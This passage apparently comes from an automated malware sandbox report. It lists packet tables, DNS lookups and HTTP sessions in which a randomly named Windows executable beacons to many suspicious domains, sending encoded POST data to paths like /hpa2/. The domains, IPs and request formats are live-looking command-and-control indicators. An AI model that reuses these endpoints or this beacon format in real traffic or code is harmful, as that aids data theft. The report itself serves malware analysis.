Jul 1, 2024 16:18:57.448077917 CEST	80	49774	72.52.179.174	192.168.2.5
Jul 1, 2024 16:18:57.448124886 CEST	49774	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:57.450500011 CEST	49774	80	192.168.2.5	72.52.179.174
Jul 1, 2024 16:18:57.455388069 CEST	80	49774	72.52.179.174	192.168.2.5
Jul 1, 2024 16:19:02.630013943 CEST	49775	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:02.634804964 CEST	80	49775	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:02.634902000 CEST	49775	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:02.638027906 CEST	49775	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:02.643137932 CEST	80	49775	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:03.131706953 CEST	80	49775	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:03.132463932 CEST	80	49775	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:03.132512093 CEST	49775	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:04.144010067 CEST	49775	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:05.161272049 CEST	49776	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:05.497896910 CEST	80	49776	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:05.498038054 CEST	49776	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:05.500678062 CEST	49776	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:05.506140947 CEST	80	49776	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:06.005846977 CEST	80	49776	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:06.005875111 CEST	80	49776	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:06.006022930 CEST	49776	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:07.016504049 CEST	49776	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:08.035641909 CEST	49777	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:08.040510893 CEST	80	49777	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:08.040627956 CEST	49777	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:08.042437077 CEST	49777	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:08.047296047 CEST	80	49777	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:08.047954082 CEST	80	49777	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:08.534682035 CEST	80	49777	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:08.578823090 CEST	49777	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:08.880693913 CEST	80	49777	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:08.881162882 CEST	80	49777	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:08.881989956 CEST	80	49777	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:08.882057905 CEST	49777	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:08.882057905 CEST	49777	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:09.547575951 CEST	49777	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:10.572010040 CEST	49778	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:10.578949928 CEST	80	49778	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:10.584171057 CEST	49778	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:10.587030888 CEST	49778	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:10.591998100 CEST	80	49778	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:11.085134029 CEST	80	49778	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:11.085227966 CEST	80	49778	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:11.086469889 CEST	49778	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:11.090166092 CEST	49778	80	192.168.2.5	192.227.175.142
Jul 1, 2024 16:19:11.094984055 CEST	80	49778	192.227.175.142	192.168.2.5
Jul 1, 2024 16:19:16.242743015 CEST	49779	80	192.168.2.5	31.186.11.254
Jul 1, 2024 16:19:16.247612000 CEST	80	49779	31.186.11.254	192.168.2.5
Jul 1, 2024 16:19:16.248162031 CEST	49779	80	192.168.2.5	31.186.11.254
Jul 1, 2024 16:19:16.252042055 CEST	49779	80	192.168.2.5	31.186.11.254
Jul 1, 2024 16:19:16.256925106 CEST	80	49779	31.186.11.254	192.168.2.5
Jul 1, 2024 16:19:17.766280890 CEST	49779	80	192.168.2.5	31.186.11.254
Jul 1, 2024 16:19:17.813339949 CEST	80	49779	31.186.11.254	192.168.2.5
Jul 1, 2024 16:19:18.785062075 CEST	49780	80	192.168.2.5	31.186.11.254
Jul 1, 2024 16:19:18.866251945 CEST	80	49780	31.186.11.254	192.168.2.5
Jul 1, 2024 16:19:18.866357088 CEST	49780	80	192.168.2.5	31.186.11.254
Jul 1, 2024 16:19:18.868393898 CEST	49780	80	192.168.2.5	31.186.11.254
Jul 1, 2024 16:19:18.873166084 CEST	80	49780	31.186.11.254	192.168.2.5
Jul 1, 2024 16:19:20.375623941 CEST	49780	80	192.168.2.5	31.186.11.254
Jul 1, 2024 16:19:20.421263933 CEST	80	49780	31.186.11.254	192.168.2.5
Jul 1, 2024 16:19:21.863240957 CEST	49781	80	192.168.2.5	31.186.11.254
Jul 1, 2024 16:19:21.869009018 CEST	80	49781	31.186.11.254	192.168.2.5
Jul 1, 2024 16:19:21.869102001 CEST	49781	80	192.168.2.5	31.186.11.254
Jul 1, 2024 16:19:21.871066093 CEST	49781	80	192.168.2.5	31.186.11.254
Jul 1, 2024 16:19:21.876116991 CEST	80	49781	31.186.11.254	192.168.2.5
Jul 1, 2024 16:19:21.876874924 CEST	80	49781	31.186.11.254	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 1, 2024 16:15:47.669209957 CEST	63782	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:15:48.657237053 CEST	63782	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:15:49.657185078 CEST	63782	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:15:49.793623924 CEST	53	63782	1.1.1.1	192.168.2.5
Jul 1, 2024 16:15:49.793638945 CEST	53	63782	1.1.1.1	192.168.2.5
Jul 1, 2024 16:15:49.793643951 CEST	53	63782	1.1.1.1	192.168.2.5
Jul 1, 2024 16:16:11.176532984 CEST	60963	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:16:11.201498032 CEST	53	60963	1.1.1.1	192.168.2.5
Jul 1, 2024 16:16:24.412322044 CEST	56533	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:16:24.956625938 CEST	53	56533	1.1.1.1	192.168.2.5
Jul 1, 2024 16:16:58.990914106 CEST	60488	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:16:59.545833111 CEST	53	60488	1.1.1.1	192.168.2.5
Jul 1, 2024 16:17:13.286879063 CEST	60286	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:17:13.314390898 CEST	53	60286	1.1.1.1	192.168.2.5
Jul 1, 2024 16:17:26.543052912 CEST	63264	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:17:26.694176912 CEST	53	63264	1.1.1.1	192.168.2.5
Jul 1, 2024 16:17:39.896023989 CEST	50752	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:17:40.349975109 CEST	53	50752	1.1.1.1	192.168.2.5
Jul 1, 2024 16:17:53.615484953 CEST	55265	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:17:54.083499908 CEST	53	55265	1.1.1.1	192.168.2.5
Jul 1, 2024 16:18:07.208587885 CEST	55227	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:18:07.336246014 CEST	53	55227	1.1.1.1	192.168.2.5
Jul 1, 2024 16:18:20.867989063 CEST	55452	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:18:21.018225908 CEST	53	55452	1.1.1.1	192.168.2.5
Jul 1, 2024 16:18:34.474514961 CEST	60359	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:18:35.356607914 CEST	53	60359	1.1.1.1	192.168.2.5
Jul 1, 2024 16:18:48.664015055 CEST	54380	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:18:48.822694063 CEST	53	54380	1.1.1.1	192.168.2.5
Jul 1, 2024 16:19:02.457811117 CEST	50730	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:19:02.626677036 CEST	53	50730	1.1.1.1	192.168.2.5
Jul 1, 2024 16:19:16.099555016 CEST	54911	53	192.168.2.5	1.1.1.1
Jul 1, 2024 16:19:16.237375975 CEST	53	54911	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 1, 2024 16:15:47.669209957 CEST	192.168.2.5	1.1.1.1	0x95a4	Standard query (0)	www.tcqlk.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:15:48.657237053 CEST	192.168.2.5	1.1.1.1	0x95a4	Standard query (0)	www.tcqlk.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:15:49.657185078 CEST	192.168.2.5	1.1.1.1	0x95a4	Standard query (0)	www.tcqlk.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:16:11.176532984 CEST	192.168.2.5	1.1.1.1	0x612c	Standard query (0)	www.rlplatro.sbs	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:16:24.412322044 CEST	192.168.2.5	1.1.1.1	0xe2d3	Standard query (0)	www.xsemckm.sbs	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:16:58.990914106 CEST	192.168.2.5	1.1.1.1	0x28ca	Standard query (0)	www.b6fbly7u.shop	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:17:13.286879063 CEST	192.168.2.5	1.1.1.1	0x297c	Standard query (0)	www.quantumvoil.xyz	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:17:26.543052912 CEST	192.168.2.5	1.1.1.1	0x321	Standard query (0)	www.transelva.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:17:39.896023989 CEST	192.168.2.5	1.1.1.1	0x39f	Standard query (0)	www.gsdaluan.shop	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:17:53.615484953 CEST	192.168.2.5	1.1.1.1	0xdd52	Standard query (0)	www.mommysdaycare.net	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:18:07.208587885 CEST	192.168.2.5	1.1.1.1	0xe751	Standard query (0)	www.203av.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:18:20.867989063 CEST	192.168.2.5	1.1.1.1	0x5cd2	Standard query (0)	www.hydrogenmovie.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:18:34.474514961 CEST	192.168.2.5	1.1.1.1	0xe4f0	Standard query (0)	www.atmpla.net	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:18:48.664015055 CEST	192.168.2.5	1.1.1.1	0xdb60	Standard query (0)	www.europedriveguide.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:19:02.457811117 CEST	192.168.2.5	1.1.1.1	0xa48f	Standard query (0)	www.coinmao.com	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:19:16.099555016 CEST	192.168.2.5	1.1.1.1	0x45f3	Standard query (0)	www.genesiestudios.online	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 1, 2024 16:15:49.793623924 CEST	1.1.1.1	192.168.2.5	0x95a4	No error (0)	www.tcqlk.com	2xin3.zhanghonghong.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 16:15:49.793623924 CEST	1.1.1.1	192.168.2.5	0x95a4	No error (0)	2xin3.zhanghonghong.com		122.10.13.122	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:15:49.793638945 CEST	1.1.1.1	192.168.2.5	0x95a4	No error (0)	www.tcqlk.com	2xin3.zhanghonghong.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 16:15:49.793638945 CEST	1.1.1.1	192.168.2.5	0x95a4	No error (0)	2xin3.zhanghonghong.com		122.10.13.122	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:15:49.793643951 CEST	1.1.1.1	192.168.2.5	0x95a4	No error (0)	www.tcqlk.com	2xin3.zhanghonghong.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 16:15:49.793643951 CEST	1.1.1.1	192.168.2.5	0x95a4	No error (0)	2xin3.zhanghonghong.com		122.10.13.122	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:16:11.201498032 CEST	1.1.1.1	192.168.2.5	0x612c	No error (0)	www.rlplatro.sbs		109.123.121.243	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:16:24.956625938 CEST	1.1.1.1	192.168.2.5	0xe2d3	No error (0)	www.xsemckm.sbs		47.242.109.15	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:16:59.545833111 CEST	1.1.1.1	192.168.2.5	0x28ca	No error (0)	www.b6fbly7u.shop		121.254.178.238	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:17:13.314390898 CEST	1.1.1.1	192.168.2.5	0x297c	No error (0)	www.quantumvoil.xyz		203.161.62.199	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:17:26.694176912 CEST	1.1.1.1	192.168.2.5	0x321	No error (0)	www.transelva.com		74.208.236.72	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:17:40.349975109 CEST	1.1.1.1	192.168.2.5	0x39f	No error (0)	www.gsdaluan.shop	225.jtrhc.fun		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 16:17:40.349975109 CEST	1.1.1.1	192.168.2.5	0x39f	No error (0)	225.jtrhc.fun		192.207.62.21	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:17:54.083499908 CEST	1.1.1.1	192.168.2.5	0xdd52	No error (0)	www.mommysdaycare.net		199.59.243.226	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:18:07.336246014 CEST	1.1.1.1	192.168.2.5	0xe751	No error (0)	www.203av.com		45.207.12.95	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:18:21.018225908 CEST	1.1.1.1	192.168.2.5	0x5cd2	No error (0)	www.hydrogenmovie.com		81.95.96.29	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:18:35.356607914 CEST	1.1.1.1	192.168.2.5	0xe4f0	No error (0)	www.atmpla.net		103.224.182.246	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:18:48.822694063 CEST	1.1.1.1	192.168.2.5	0xdb60	No error (0)	www.europedriveguide.com		72.52.179.174	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:19:02.626677036 CEST	1.1.1.1	192.168.2.5	0xa48f	No error (0)	www.coinmao.com		192.227.175.142	A (IP address)	IN (0x0001)	false
Jul 1, 2024 16:19:16.237375975 CEST	1.1.1.1	192.168.2.5	0x45f3	No error (0)	www.genesiestudios.online	genesiestudios.online		CNAME (Canonical name)	IN (0x0001)	false
Jul 1, 2024 16:19:16.237375975 CEST	1.1.1.1	192.168.2.5	0x45f3	No error (0)	genesiestudios.online		31.186.11.254	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.tcqlk.com

www.rlplatro.sbs

www.xsemckm.sbs

www.b6fbly7u.shop

www.quantumvoil.xyz

www.transelva.com

www.gsdaluan.shop

www.mommysdaycare.net

www.203av.com

www.hydrogenmovie.com

www.atmpla.net

www.europedriveguide.com

www.coinmao.com

www.genesiestudios.online

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49722	122.10.13.122	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:15:49.808805943 CEST	524	OUT	GET /ndq7/?3hkl=slNhbLXpBjO8vl&4dV43tA=OxZKnWuwsJOrHHhSr0WAKMos2ZEDKwJVMtvq3iaqcpp4OrE8YxBQJzvCfYPSu8gmodsQI/gccX7lRSYJm35OlpLbr+Emqb863it5vTM6q/0fJzxBvxXG8nRUn7++wRvQdA== HTTP/1.1 Host: www.tcqlk.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36
Jul 1, 2024 16:16:06.168265104 CEST	691	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 01 Jul 2024 14:16:06 GMT Content-Type: text/html Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49727	109.123.121.243	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:16:11.211714983 CEST	779	OUT	POST /hpa2/ HTTP/1.1 Host: www.rlplatro.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.rlplatro.sbs Cache-Control: no-cache Connection: close Content-Length: 208 Content-Type: application/x-www-form-urlencoded Referer: http://www.rlplatro.sbs/hpa2/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 77 73 4d 31 33 52 46 68 70 75 4e 42 35 31 78 55 70 59 59 75 42 34 72 48 6f 39 30 48 53 32 69 71 31 61 6d 4d 63 65 4d 4b 7a 34 76 37 65 68 53 57 51 45 51 74 55 36 74 41 76 51 51 78 31 73 35 36 2b 45 42 70 73 49 4d 67 7a 56 47 4b 62 5a 63 4b 47 55 59 45 33 46 44 43 39 69 2f 71 36 53 44 47 71 43 6d 38 4a 56 2b 6b 4d 37 64 64 49 5a 59 42 64 72 45 32 6d 74 50 4d 65 62 39 42 56 6b 45 2b 32 4b 6d 79 75 54 35 4b 34 55 74 39 36 79 61 49 58 32 65 54 36 30 2b 61 32 50 69 71 76 33 6c 42 48 6f 67 76 49 54 48 2f 47 74 51 73 45 78 4e 4c 44 43 7a 7a 73 43 61 31 30 2b 50 61 7a 57 42 79 4e 70 63 49 41 2f 73 3d Data Ascii: 4dV43tA=wsM13RFhpuNB51xUpYYuB4rHo90HS2iq1amMceMKz4v7ehSWQEQtU6tAvQQx1s56+EBpsIMgzVGKbZcKGUYE3FDC9i/q6SDGqCm8JV+kM7ddIZYBdrE2mtPMeb9BVkE+2KmyuT5K4Ut96yaIX2eT60+a2Piqv3lBHogvITH/GtQsExNLDCzzsCa10+PazWByNpcIA/s=
Jul 1, 2024 16:16:11.813142061 CEST	355	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 01 Jul 2024 14:16:11 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Content-Encoding: gzip Data Raw: 61 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 25 8d 28 58 68 e3 17 e4 dc f5 12 c8 6d 8e 18 c1 fb 7b 13 bd 03 b1 b6 b4 dc 99 37 c3 b0 e8 72 1f cc 72 81 8e 2d 19 cc 3e 07 36 cd ba 81 53 cc b0 8f 77 21 d4 6f 11 f5 0b 29 68 1b 69 ac 91 0b 4b e6 64 d0 6d be 13 45 41 3d d9 b5 bb 40 d3 25 9d 97 c7 a7 a7 e7 36 3d 2f 59 29 05 16 06 4b e4 a5 83 1c 81 fc cd b6 81 e1 78 3e ec c0 0a c1 d6 a5 d8 33 5c 93 67 a1 30 02 a7 14 53 49 74 0c 4a d5 65 ff 8a 5f fe e2 09 27 a7 bf a8 24 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: aa1D{X? D%(Xhm{7rr->6Sw!o)hiKdmEA=@%6=/Y)Kx>3\g0SItJe_'$0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49728	109.123.121.243	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:16:13.746309042 CEST	799	OUT	POST /hpa2/ HTTP/1.1 Host: www.rlplatro.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.rlplatro.sbs Cache-Control: no-cache Connection: close Content-Length: 228 Content-Type: application/x-www-form-urlencoded Referer: http://www.rlplatro.sbs/hpa2/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 77 73 4d 31 33 52 46 68 70 75 4e 42 34 56 42 55 76 2f 73 75 4b 34 72 49 30 74 30 48 64 57 6a 43 31 61 69 4d 63 62 68 50 7a 4c 4c 37 64 42 69 57 54 46 51 74 5a 61 74 41 33 67 52 36 6f 38 35 50 2b 45 4d 63 73 4b 49 67 7a 56 53 4b 62 63 67 4b 47 48 67 48 32 56 44 45 77 43 2f 6f 30 79 44 47 71 43 6d 38 4a 56 71 43 4d 37 56 64 49 70 6f 42 63 4b 45 35 76 4e 50 50 5a 62 39 42 43 30 46 57 32 4b 6d 62 75 58 77 74 34 57 56 39 36 77 79 49 57 6b 32 53 78 30 2b 63 38 76 6a 59 76 46 34 56 65 4f 51 63 43 79 7a 33 53 37 59 76 42 48 67 68 5a 67 37 62 2f 69 32 4e 6b 74 48 74 69 6d 67 62 58 4b 4d 34 65 6f 35 63 2f 4c 6c 67 69 47 59 42 41 69 32 79 51 58 69 52 6c 46 51 59 Data Ascii: 4dV43tA=wsM13RFhpuNB4VBUv/suK4rI0t0HdWjC1aiMcbhPzLL7dBiWTFQtZatA3gR6o85P+EMcsKIgzVSKbcgKGHgH2VDEwC/o0yDGqCm8JVqCM7VdIpoBcKE5vNPPZb9BC0FW2KmbuXwt4WV96wyIWk2Sx0+c8vjYvF4VeOQcCyz3S7YvBHghZg7b/i2NktHtimgbXKM4eo5c/LlgiGYBAi2yQXiRlFQY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49729	109.123.121.243	80	3608	C:\Program Files (x86)\HuaxilgvNMlvjXqnbAUTDSsPYLOkyuWgMOeQybdntYYLGjJr\MqDMLUHvZmSMqiwTfIsHo.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 16:16:16.277179956 CEST	1816	OUT	POST /hpa2/ HTTP/1.1 Host: www.rlplatro.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Origin: http://www.rlplatro.sbs Cache-Control: no-cache Connection: close Content-Length: 1244 Content-Type: application/x-www-form-urlencoded Referer: http://www.rlplatro.sbs/hpa2/ User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.65 Safari/537.36 Data Raw: 34 64 56 34 33 74 41 3d 77 73 4d 31 33 52 46 68 70 75 4e 42 34 56 42 55 76 2f 73 75 4b 34 72 49 30 74 30 48 64 57 6a 43 31 61 69 4d 63 62 68 50 7a 4c 44 37 64 77 43 57 51 6e 34 74 57 36 74 41 70 51 52 35 6f 38 35 53 2b 45 56 55 73 4b 45 57 7a 58 71 4b 55 61 55 4b 53 6d 67 48 2f 56 44 45 35 69 2f 72 36 53 44 50 71 43 32 34 4a 56 36 43 4d 37 56 64 49 76 45 42 62 62 45 35 6a 74 50 4d 65 62 39 46 56 6b 46 74 32 4f 79 71 75 58 31 61 34 6c 64 39 36 51 69 49 56 58 65 53 38 30 2b 65 2f 76 6a 41 76 46 30 6a 65 4f 6c 6c 43 79 32 73 53 38 55 76 42 67 52 46 4c 68 2b 43 6f 45 2b 69 6d 66 58 50 2f 68 41 57 5a 70 6b 4d 56 59 6c 61 39 5a 68 4d 6e 57 67 73 44 79 72 71 53 69 65 61 74 46 46 7a 2f 45 37 57 42 61 38 71 6a 36 79 5a 52 68 4b 78 55 6e 59 6d 34 71 49 4e 6e 45 78 75 36 2f 61 37 7a 62 52 76 48 74 52 2b 4e 43 31 78 75 78 5a 47 47 6b 73 50 34 34 41 4c 64 4a 42 32 54 74 56 43 74 55 7a 50 75 74 4e 41 56 78 44 55 49 7a 7a 61 2b 50 32 7a 64 71 55 79 57 54 45 44 7a 76 79 55 38 67 2b 76 62 77 43 31 55 73 33 50 54 36 [TRUNCATED] Data Ascii: 4dV43tA=wsM13RFhpuNB4VBUv/suK4rI0t0HdWjC1aiMcbhPzLD7dwCWQn4tW6tApQR5o85S+EVUsKEWzXqKUaUKSmgH/VDE5i/r6SDPqC24JV6CM7VdIvEBbbE5jtPMeb9FVkFt2OyquX1a4ld96QiIVXeS80+e/vjAvF0jeOllCy2sS8UvBgRFLh+CoE+imfXP/hAWZpkMVYla9ZhMnWgsDyrqSieatFFz/E7WBa8qj6yZRhKxUnYm4qINnExu6/a7zbRvHtR+NC1xuxZGGksP44ALdJB2TtVCtUzPutNAVxDUIzza+P2zdqUyWTEDzvyU8g+vbwC1Us3PT6K5dtvwKha54kftS1g0FVRkg4p1O2lQ0JxFe/lmMpInwtQenMYaAXM6idCuz6irRGzNKruFq9OCHuK9b5YQxHShIDtypkFVn+1wUKVfzjx1UBCYm8hMARk8qq11FNSMvmSlLaIZi6bUWsPCDVtPYFML+qPAqW1LYhEoj5Gb8o3xLUYiF0Zn2fQzN5Vy7fiUlZJH4EGa3lGCrwuXBsHTOFkivEEr5srHKdHhPCaJR6xprszTUMXeK+If3P5G3wzeSZz7ThSbXeO66wnxthX54IoPfHSRewddCtKD/Too6bHT/2yomgj9ZPr2GQOp9QH27afP39I5iACkBiH2eMKk57gTvt9zS182wt+F8liAFMFavYUWvVUswg9ZQ4jxR/v/9X2aiXx4bQEvtsdBCx9Hkx4l9oLZbDSCfkIZraPAfH+gPZ122Vx7hKWUbYdiSwHqy4xtOB0cXLFouVqzUFt6bGIBdql6CfID19bR6mk3CHf39J7QpUzVgQeGeGvUGp5vOeYoWnPLJ3R4yujXNLJmBv07UFFOKyhsVWJs+zcmL3GkUhi0PoWQq1fvDYKfshOBqUeCYtxMXZhTIaWgqxc3EUGuFV254QXCjgHUtFGg0x0JakLbJMJjYkAxRxgmN7TxA3fknpU7mSdFkw/eE2QgUj7U/FovSLQeX1T8 [TRUNCATED]
